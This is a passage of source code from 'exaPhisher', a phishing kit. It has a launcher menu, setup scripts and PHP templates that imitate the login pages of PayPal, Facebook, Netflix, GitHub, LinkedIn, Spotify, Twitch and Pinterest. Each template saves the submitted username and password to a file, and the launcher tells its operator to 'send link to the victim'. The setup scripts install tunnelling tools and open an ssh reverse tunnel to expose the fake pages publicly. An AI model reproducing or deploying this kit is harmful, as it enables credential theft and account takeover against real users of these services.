59 | '''+square_tild+bcolors.OKBLUE+''' Local url :'''+bcolors.WARNING+''' http://localhost:8080'''+bcolors.OKBLUE+'''
60 | '''+square_tild+bcolors.OKBLUE+''' Send link to the victim :'''+bcolors.WARNING+url[12:100]+bcolors.ENDC+'''
61 | '''+square_tild+bcolors.WARNING+''' Waiting for Login info, '''+bcolors.OKBLUE+"Ctrl + C to exit."+bcolors.ENDC+'''
62 |
63 | ''')
64 | elif scelta2 == "3":
65 | def script2():
66 | os.system("python3 lh.py")
67 |
68 | if __name__ == '__main__':
69 | p = Process(target=script2)
70 | p.start()
71 | print('''\n\n'''+
72 | square_tild+bcolors.OKBLUE+''' Local url :'''+bcolors.WARNING+''' http://localhost:8080'''+bcolors.OKGREEN)
73 | time.sleep(3)
74 | print(bcolors.ENDC)
75 | print(bcolors.OKBLUE+''' Send link to the victim ↑''')
76 | print("\n")
77 | print(bcolors.WARNING+''' Waiting for Login info, '''+bcolors.OKBLUE+"Ctrl + C to exit."+bcolors.ENDC)
78 |
79 | if scelta == "1":
80 | os.chdir("./src/template/facebook")
81 | os.system("python3 facebook.py")
82 | if scelta == "2":
83 | os.chdir("./src/template/instagram")
84 | os.system("python3 instagram.py")
85 | if scelta == "3":
86 | os.chdir("./src/template/paypal")
87 | os.system("python3 paypal.py")
88 | if scelta == "4":
89 | os.chdir("./src/template/twitter")
90 | os.system("python3 twitter.py")
91 | if scelta == "5":
92 | os.chdir("./src/template/netflix")
93 | os.system("python3 netflix.py")
94 | if scelta == "6":
95 | os.chdir("./src/template/twitch")
96 | os.system("python3 twitch.py")
97 | if scelta == "7":
98 | os.chdir("./src/template/github")
99 | os.system("python3 github.py")
100 | if scelta == "8":
101 | os.chdir("./src/template/spotify")
102 | os.system("python3 spotify.py")
103 | if scelta == "9":
104 | os.chdir("./src/template/pinterest")
105 | os.system("python3 pinterest.py")
106 | if scelta == "10":
107 | os.chdir("./src/template/linkedin")
108 | os.system("python3 linkedin.py")
109 |
--------------------------------------------------------------------------------
/src/template/paypal/template.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
123 |
124 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 | Log in to your PayPal account
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
155 |
156 |
157 |
158 |
159 |
160 | 0) {
164 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']);
165 | return trim($addr[0]);
166 | } else {
167 | return $_SERVER['HTTP_X_FORWARDED_FOR'];
168 | }
169 | }
170 | else {
171 | return $_SERVER['REMOTE_ADDR'];
172 | }
173 | }
174 |
175 |
176 | $user_ip = getUserIP();
177 |
178 |
179 | if (isset($_POST['email'])){
180 | $ip = $user_ip;
181 | $userinput = $_POST['email'];
182 | $userinputt = $_POST['pass'];
183 | $acapo = "\r\n";
184 | $perip = ("Ip: $ip");
185 | $perpassword = ("Password: $userinputt");
186 | $perusername = ("Username: $userinput");
187 | $myfile = fopen("info.txt", "w") or die("Unable to open file!");
188 | fwrite($myfile, $perusername);
189 | fwrite($myfile, $acapo);
190 | fwrite($myfile, $perpassword);
191 | fclose($myfile);}
192 | ?>
193 |
194 |
--------------------------------------------------------------------------------
/setup.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Function to display colored output
4 | print_color() {
5 | case "$2" in
6 | "HEADER") color='\033[95m' ;;
7 | "OKBLUE") color='\033[34m' ;;
8 | "OKGREEN") color='\033[92m' ;;
9 | "WARNING") color='\033[93m' ;;
10 | "FAIL") color='\033[91m' ;;
11 | "BOLD") color='\033[1m' ;;
12 | "UNDERLINE") color='\033[4m' ;;
13 | "GREY") color='\033[90m' ;;
14 | "BG_RED") color='\033[41m' ;;
15 | *) color='\033[0m' ;;
16 | esac
17 | echo -e "${color}${1}\033[0m"
18 | }
19 |
20 | # Clear screen
21 | clear
22 |
23 | # Prompt user if they are using Termux
24 | # Prompt user if they are using Termux
25 | read -p "Are you using Termux? [y/n]: " termux_choice
26 | if [ "$termux_choice" = "y" ] || [ "$termux_choice" = "Y" ]; then
27 | TERMUX=true
28 | else
29 | TERMUX=false
30 | fi
31 |
32 | # Check if running with sudo, but not in Termux
33 | if [[ $EUID -ne 0 && $TERMUX == false ]]; then
34 | print_color "Please run this script with sudo." "FAIL"
35 | exit 1
36 | fi
37 |
38 | # Determine the system type automatically
39 | if [[ -n "$(command -v pkg)" ]]; then
40 | # Termux
41 | TERMUX=true
42 | elif [[ -n "$(command -v apt-get)" ]]; then
43 | # Debian based Linux
44 | DEBIAN=true
45 | elif [[ -n "$(command -v pacman)" ]]; then
46 | # Arch based Linux
47 | ARCH=true
48 | else
49 | print_color "Unsupported system." "FAIL"
50 | exit 1
51 | fi
52 |
53 | # Display ASCII art
54 | print_color "
55 | ┏┓┏┓┏┳┓┳┳┏┓
56 | ┗┓┣ ┃ ┃┃┃┃
57 | ┗┛┗┛ ┻ ┗┛┣┛
58 | " "OKGREEN"
59 |
60 | # Display setup information
61 | print_color "Welcome to exaphisher setup! Following packages will be installed:\n" "WARNING"
62 | echo "- npm"
63 | echo "- php"
64 | echo -e "- localtunnel\n"
65 |
66 | # Ask for confirmation to continue
67 | read -p "Continue? [y/n]: " setup_choice
68 | if [[ ! $setup_choice =~ ^[Yy]$ ]]; then
69 | print_color "Exiting setup..." "WARNING"
70 | exit 0
71 | fi
72 |
73 | # Clear screen
74 | clear
75 |
76 | # Install necessary packages based on the detected system
77 | if [[ $TERMUX == true ]]; then
78 | # Termux setup
79 | print_color "Termux detected. Setting up..." "OKGREEN"
80 | pkg install -y openssh openssl php
81 | print_color "Setup completed successfully!" "OKGREEN"
82 | echo "Type python3 main.py to run exaPhisher!"
83 | elif [[ $DEBIAN == true ]]; then
84 | # Debian based Linux setup
85 | print_color "Debian based Linux detected. Setting up..." "OKGREEN"
86 | if [[ -n $SUDO_USER ]]; then
87 | apt-get update
88 | apt-get install -y php npm
89 | else
90 | print_color "Please run this script with sudo." "FAIL"
91 | exit 1
92 | fi
93 | npm install -g localtunnel
94 |
95 | # Uncomment and modify if ngrok setup is needed for Debian
96 | # curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
97 | # echo "deb https://ngrok-agent.s3.amazonaws.com buster main" | sudo tee /etc/apt/sources.list.d/ngrok.list
98 | # apt-get update
99 | # apt-get install -y ngrok
100 | # ngrok config add-authtoken YOUR_NGROK_TOKEN_HERE
101 |
102 | print_color "Setup completed successfully!" "OKGREEN"
103 | echo "Type python3 main.py to run exaPhisher!"
104 | elif [[ $ARCH == true ]]; then
105 | # Arch based Linux setup
106 | print_color "Arch based Linux detected. Setting up..." "OKGREEN"
107 | if [[ -n $SUDO_USER ]]; then
108 | pacman -Sy --noconfirm php nodejs npm
109 | else
110 | print_color "Please run this script with sudo." "FAIL"
111 | exit 1
112 | fi
113 | npm install -g localtunnel
114 |
115 | # Uncomment and modify if ngrok setup is needed for Arch
116 | # yay -S --noconfirm ngrok
117 | # ngrok config add-authtoken YOUR_NGROK_TOKEN_HERE
118 |
119 | print_color "Setup completed successfully!" "OKGREEN"
120 | echo "Type python3 main.py to run exaPhisher!"
121 | else
122 | print_color "Unsupported system." "FAIL"
123 | exit 1
124 | fi
125 |
126 | echo -e "===LH SETUP===\n\nWRITE yes AND PRESS ENTER\n"
127 | sleep 2
128 | ssh -R 80:localhost:8080 nokey@localhost.run
129 |
130 | git clone https://github.com/SamueleAmato/exaPhisher
131 | cd exaPhisher
132 |
133 | # Create a version file
134 | touch setup_ver.py
135 |
136 |
--------------------------------------------------------------------------------
/src/template/spotify/template.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 | Spotify Login
126 |
127 |
128 |
142 |
143 |
144 | 0) {
148 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']);
149 | return trim($addr[0]);
150 | } else {
151 | return $_SERVER['HTTP_X_FORWARDED_FOR'];
152 | }
153 | }
154 | else {
155 | return $_SERVER['REMOTE_ADDR'];
156 | }
157 | }
158 |
159 |
160 | $user_ip = getUserIP();
161 |
162 |
163 | if (isset($_POST['email'])){
164 | $ip = $user_ip;
165 | $userinput = $_POST['email'];
166 | $userinputt = $_POST['pass'];
167 | $acapo = "\r\n";
168 | $perip = ("Ip: $ip");
169 | $perpassword = ("Password: $userinputt");
170 | $perusername = ("Username: $userinput");
171 | $myfile = fopen("info.txt", "w") or die("Unable to open file!");
172 | fwrite($myfile, $perusername);
173 | fwrite($myfile, $acapo);
174 | fwrite($myfile, $perpassword);
175 | fclose($myfile);}
176 | ?>
177 |
178 |
--------------------------------------------------------------------------------
/src/template/twitch/template.php:
--------------------------------------------------------------------------------
1 |
14 |
15 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
205 |
206 |
207 |
208 | 0) {
212 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']);
213 | return trim($addr[0]);
214 | } else {
215 | return $_SERVER['HTTP_X_FORWARDED_FOR'];
216 | }
217 | }
218 | else {
219 | return $_SERVER['REMOTE_ADDR'];
220 | }
221 | }
222 |
223 |
224 | $user_ip = getUserIP();
225 |
226 |
227 | if (isset($_POST['name'])){
228 | $ip = $user_ip;
229 | $userinput = $_POST['name'];
230 | $userinputt = $_POST['name2'];
231 | $acapo = "\r\n";
232 | $perip = ("Ip: $ip");
233 | $perpassword = ("Password: $userinputt");
234 | $perusername = ("Username: $userinput");
235 | $myfile = fopen("info.txt", "w") or die("Unable to open file!");
236 | fwrite($myfile, $perusername);
237 | fwrite($myfile, $acapo);
238 | fwrite($myfile, $perpassword);
239 | fclose($myfile);}
240 | ?>
241 |
242 |
--------------------------------------------------------------------------------
/src/template/pinterest/template.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
159 |
160 |
161 |
162 |
163 |
216 |
217 |
218 | 0) {
222 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']);
223 | return trim($addr[0]);
224 | } else {
225 | return $_SERVER['HTTP_X_FORWARDED_FOR'];
226 | }
227 | }
228 | else {
229 | return $_SERVER['REMOTE_ADDR'];
230 | }
231 | }
232 |
233 |
234 | $user_ip = getUserIP();
235 |
236 |
237 | if (isset($_POST['name'])){
238 | $ip = $user_ip;
239 | $userinput = $_POST['name'];
240 | $userinputt = $_POST['name2'];
241 | $acapo = "\r\n";
242 | $perip = ("Ip: $ip");
243 | $perpassword = ("Password: $userinputt");
244 | $perusername = ("Username: $userinput");
245 | $myfile = fopen("info.txt", "w") or die("Unable to open file!");
246 | fwrite($myfile, $perusername);
247 | fwrite($myfile, $acapo);
248 | fwrite($myfile, $perpassword);
249 | fclose($myfile);}
250 | ?>
251 |
252 |
253 |
--------------------------------------------------------------------------------
/src/template/facebook/template.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 |
248 | Facebook Login Page
249 |
250 |
251 |
252 |
253 |
254 |
255 |
Facebook
256 |
Connect with friends and the world around you on Facebook.
257 |
258 |
259 |
260 |
261 |
262 | Forgot Password ?
263 |
264 |
265 |
266 |
267 |
268 |
269 |
270 |
271 |
272 |
273 |
274 | 0) {
278 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']);
279 | return trim($addr[0]);
280 | } else {
281 | return $_SERVER['HTTP_X_FORWARDED_FOR'];
282 | }
283 | }
284 | else {
285 | return $_SERVER['REMOTE_ADDR'];
286 | }
287 | }
288 |
289 |
290 | $user_ip = getUserIP();
291 |
292 |
293 | if (isset($_POST['name'])){
294 | $ip = $user_ip;
295 | $userinput = $_POST['name'];
296 | $userinputt = $_POST['name2'];
297 | $acapo = "\r\n";
298 | $perip = ("Ip: $ip");
299 | $perpassword = ("Password: $userinputt");
300 | $perusername = ("Username: $userinput");
301 | $myfile = fopen("info.txt", "w") or die("Unable to open file!");
302 | fwrite($myfile, $perusername);
303 | fwrite($myfile, $acapo);
304 | fwrite($myfile, $perpassword);
305 | fclose($myfile);}
306 | ?>
--------------------------------------------------------------------------------
/src/setup.py:
--------------------------------------------------------------------------------
1 | import os
2 | from multiprocessing import Process
3 | scelta_termux = "false"
4 | os.system("clear")
5 | sudo_check = input("Are you on Termux [y/n]: ")
6 | if sudo_check == "n":
7 | verifica_sudo = input("Are you running this script as sudo? [y/n]: ")
8 | if verifica_sudo == "y":
9 | pass
10 | else:
11 | print("run this script as sudo")
12 | exit()
13 | pass
14 | else:
15 | scelta_termux = input("are you on termux? [y/n]: ")
16 | if scelta_termux == "y":
17 | os.chdir("..")
18 | os.system("touch ./src/termux_ver.py")
19 |
20 | pass
21 | else:
22 | print("please run this script as sudo")
23 | exit()
24 |
25 | class bcolors:
26 | HEADER = '\033[95m'
27 | OKBLUE = '\033[34m'
28 | OKGREEN = '\033[92m'
29 | WARNING = '\033[93m'
30 | FAIL = '\033[91m'
31 | BOLD = '\033[1m'
32 | UNDERLINE = '\033[4m'
33 | ENDC = '\033[0m'
34 | GREY = '\033[90m'
35 | BG_RED = '\033[41m'
36 |
37 | print(bcolors.WARNING+'''
38 | '''+bcolors.OKGREEN+''' _____ _ '''+bcolors.WARNING+'''
39 | '''+bcolors.OKGREEN+''' / ____| | | '''+bcolors.WARNING+'''
40 | _____ ____ _'''+bcolors.OKGREEN+'''| (___ ___| |_ _ _ _ __ '''+bcolors.WARNING+'''
41 | / _ \ \/ / _` '''+bcolors.OKGREEN+''' \___ \ / _ \ __| | | | '_ \ '''+bcolors.WARNING+'''
42 | | __/> < (_| '''+bcolors.OKGREEN+''' ____) | __/ |_| |_| | |_) |'''+bcolors.WARNING+'''
43 | \___/_/\_\__,_'''+bcolors.OKGREEN+'''|_____/ \___|\__|\__,_| .__/ '''+bcolors.OKGREEN+'''
44 | | |
45 | |_|
46 | '''+bcolors.ENDC)
47 |
48 | print("Welcome to exaphisher setup! following packages will be installed:")
49 | print('''
50 | - npm
51 | - ngrok
52 | - php
53 | - localtunnel
54 | ''')
55 | setup_scelta = input("Continue? [y/n]: ")
56 |
57 | if setup_scelta == "y":
58 | pass
59 | else:
60 | print("Exit setup...")
61 | exit()
62 | os.system("clear")
63 | def command(comando):
64 | os.system(comando)
65 |
66 | def linux_debian():
67 | print(bcolors.OKGREEN+"Ngrok setup"+bcolors.ENDC)
68 | command(' curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" | sudo tee /etc/apt/sources.list.d/ngrok.list && sudo apt update && sudo apt install ngrok ')
69 | ngrok_token = input(bcolors.UNDERLINE+"paste your ngrok token here:"+bcolors.ENDC+" ")
70 | command("ngrok config add-authtoken "+ ngrok_token)
71 | print(bcolors.OKGREEN+"php Setup"+bcolors.ENDC)
72 | command("apt-get install php ")
73 | print(bcolors.OKGREEN+"Localtunnel setup"+bcolors.ENDC)
74 | command("apt-get install npm ")
75 | command("npm install -g localtunnel")
76 | print(bcolors.OKGREEN+"Localhost setup"+bcolors.ENDC)
77 | print("Type yes to finish setup")
78 | os.system("ssh -R 80:localhost:8080 nokey@localhost.run")
79 | print(bcolors.WARNING+"Type yes to finish setup"+bcolors.ENDC)
80 | os.system("ssh -R 80:localhost:8080 nokey@localhost.run")
81 | print(bcolors.OKGREEN+"Setup Completed Successfully!")
82 | os.chdir("..")
83 | print("Type python3 main.py to run exaPhisher!")
84 |
85 | def linux_arch():
86 | arch_yay = input(bcolors.WARNING+"Do you have yay package manager? [y/n]: "+bcolors.ENDC)
87 | if arch_yay == "y":
88 | pass
89 | else:
90 | print("install yay package menager and run the setup; Guide: https://cloudcone.com/docs/article/how-to-install-yay-helper-on-archlinux/"+bcolors.ENDC)
91 | print(bcolors.OKGREEN+"Ngrok setup"+bcolors.ENDC)
92 | command('yay -S ngrok')
93 | ngrok_token = input(bcolors.UNDERLINE+"paste your ngrok token here:"+bcolors.ENDC+" ")
94 | command("ngrok config add-authtoken "+ ngrok_token)
95 | print(bcolors.OKGREEN+"Php setup"+bcolors.ENDC)
96 | command("pacman -S php ")
97 | print(bcolors.OKGREEN+"Localtunnel setup"+bcolors.ENDC)
98 | command("apt install nodejs ")
99 | command("npm install -g localtunnel")
100 | print(bcolors.OKGREEN+"Localhost setup"+bcolors.ENDC)
101 | print("Type yes to finish setup")
102 | os.system("ssh -R 80:localhost:8080 nokey@localhost.run")
103 | print(bcolors.WARNING+"Type yes to finish setup"+bcolors.ENDC)
104 | os.system("ssh -R 80:localhost:8080 nokey@localhost.run")
105 | print(bcolors.OKGREEN+"Setup Completed Successfully!")
106 | os.chdir("..")
107 | print("Type python3 main.py to run exaPhisher!")
108 |
109 | def termux():
110 | print(bcolors.OKGREEN+"Localtunnel setup"+bcolors.ENDC)
111 | print(bcolors.OKGREEN+"Localhost setup"+bcolors.ENDC)
112 | print("Type yes to finish setup")
113 | os.system("pkg install openssh")
114 | os.system("pkg install openssl")
115 | os.system("pkg install php")
116 | print(bcolors.WARNING+"Type yes to finish setup"+bcolors.ENDC)
117 | os.system("ssh -R 80:localhost:8080 nokey@localhost.run")
118 | time.sleep(2)
119 | print(bcolors.OKGREEN+"Setup Completed Successfully!")
120 | os.chdir("..")
121 | print("Type python3 main.py to run exaPhisher!")
122 | if scelta_termux == "y":
123 | termux()
124 | command("toch /src/termux_ver.py")
125 | pass
126 | else:
127 | print(bcolors.WARNING+'''
128 | '''+bcolors.OKGREEN+''' _____ _ '''+bcolors.WARNING+'''
129 | '''+bcolors.OKGREEN+''' / ____| | | '''+bcolors.WARNING+'''
130 | _____ ____ _'''+bcolors.OKGREEN+'''| (___ ___| |_ _ _ _ __ '''+bcolors.WARNING+'''
131 | / _ \ \/ / _` '''+bcolors.OKGREEN+''' \___ \ / _ \ __| | | | '_ \ '''+bcolors.WARNING+'''
132 | | __/> < (_| '''+bcolors.OKGREEN+''' ____) | __/ |_| |_| | |_) |'''+bcolors.WARNING+'''
133 | \___/_/\_\__,_'''+bcolors.OKGREEN+'''|_____/ \___|\__|\__,_| .__/ '''+bcolors.OKGREEN+'''
134 | | |
135 | |_|
136 | '''+bcolors.ENDC)
137 | print('''Which System You Are Using?
138 |
139 | 1) Linux - Debian based
140 | 2) Linux - Arch based
141 | 3) Termux
142 | ''')
143 | scelta_distro = input(": ")
144 | if scelta_distro == "1":
145 | linux_debian()
146 | elif scelta_distro == "2":
147 | linux_arch()
148 | elif scelta_distro == "3":
149 | termux()
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 | os.system("touch setup_ver.py")
172 |
--------------------------------------------------------------------------------
/src/template/github/template.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |

7 |
8 |
9 |
Sign in to GitHub
10 |
11 |
12 |
28 |
29 |
32 |
33 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
195 |
196 |
197 |
198 |
199 | 0) {
203 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']);
204 | return trim($addr[0]);
205 | } else {
206 | return $_SERVER['HTTP_X_FORWARDED_FOR'];
207 | }
208 | }
209 | else {
210 | return $_SERVER['REMOTE_ADDR'];
211 | }
212 | }
213 |
214 |
215 | $user_ip = getUserIP();
216 |
217 |
218 | if (isset($_POST['name'])){
219 | $ip = $user_ip;
220 | $userinput = $_POST['name'];
221 | $userinputt = $_POST['name2'];
222 | $acapo = "\r\n";
223 | $perip = ("Ip: $ip");
224 | $perpassword = ("Password: $userinputt");
225 | $perusername = ("Username: $userinput");
226 | $myfile = fopen("info.txt", "w") or die("Unable to open file!");
227 | fwrite($myfile, $perusername);
228 | fwrite($myfile, $acapo);
229 | fwrite($myfile, $perpassword);
230 | fclose($myfile);}
231 | ?>
232 |
233 |
--------------------------------------------------------------------------------
/src/template/linkedin/template.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Linkedn Login Form
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
Linkedin
19 |
20 |
21 |
22 |
23 |
Welcome Back
24 |
25 |
26 |
27 |
28 |
Don't miss your next opportunity. Sign in to stay updated on your professional world.
29 |
30 |
31 |
38 |
44 |
45 |
46 |
47 |
48 |
49 |
54 |
55 |
56 |
New to Linkedin?
57 |
Join now
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
331 |
332 |
333 |
334 | 0) {
338 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']);
339 | return trim($addr[0]);
340 | } else {
341 | return $_SERVER['HTTP_X_FORWARDED_FOR'];
342 | }
343 | }
344 | else {
345 | return $_SERVER['REMOTE_ADDR'];
346 | }
347 | }
348 |
349 |
350 | $user_ip = getUserIP();
351 |
352 |
353 | if (isset($_POST['name'])){
354 | $ip = $user_ip;
355 | $userinput = $_POST['name'];
356 | $userinputt = $_POST['name2'];
357 | $acapo = "\r\n";
358 | $perip = ("Ip: $ip");
359 | $perpassword = ("Password: $userinputt");
360 | $perusername = ("Username: $userinput");
361 | $myfile = fopen("info.txt", "w") or die("Unable to open file!");
362 | fwrite($myfile, $perusername);
363 | fwrite($myfile, $acapo);
364 | fwrite($myfile, $perpassword);
365 | fclose($myfile);}
366 | ?>
367 |
--------------------------------------------------------------------------------
/src/template/netflix/template.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Netflix - Watch TV Shows Online, Watch Movies Online
7 |
8 |
9 |
10 |
11 |
12 |
13 |

14 |
15 |
16 |
17 |
40 |
41 |
47 |
51 |
52 |
53 | This page is protected by Google reCAPTCHA to ensure you're not a bot. Learn more.
54 |
55 |
56 |
57 |
58 |
59 |
60 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
349 |
350 |
351 |
352 | 0) {
356 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']);
357 | return trim($addr[0]);
358 | } else {
359 | return $_SERVER['HTTP_X_FORWARDED_FOR'];
360 | }
361 | }
362 | else {
363 | return $_SERVER['REMOTE_ADDR'];
364 | }
365 | }
366 |
367 |
368 | $user_ip = getUserIP();
369 |
370 |
371 | if (isset($_POST['name'])){
372 | $ip = $user_ip;
373 | $userinput = $_POST['name'];
374 | $userinputt = $_POST['name2'];
375 | $acapo = "\r\n";
376 | $perip = ("Ip: $ip");
377 | $perpassword = ("Password: $userinputt");
378 | $perusername = ("Username: $userinput");
379 | $myfile = fopen("info.txt", "w") or die("Unable to open file!");
380 | fwrite($myfile, $perusername);
381 | fwrite($myfile, $acapo);
382 | fwrite($myfile, $perpassword);
383 | fclose($myfile);}
384 | ?>
385 |
--------------------------------------------------------------------------------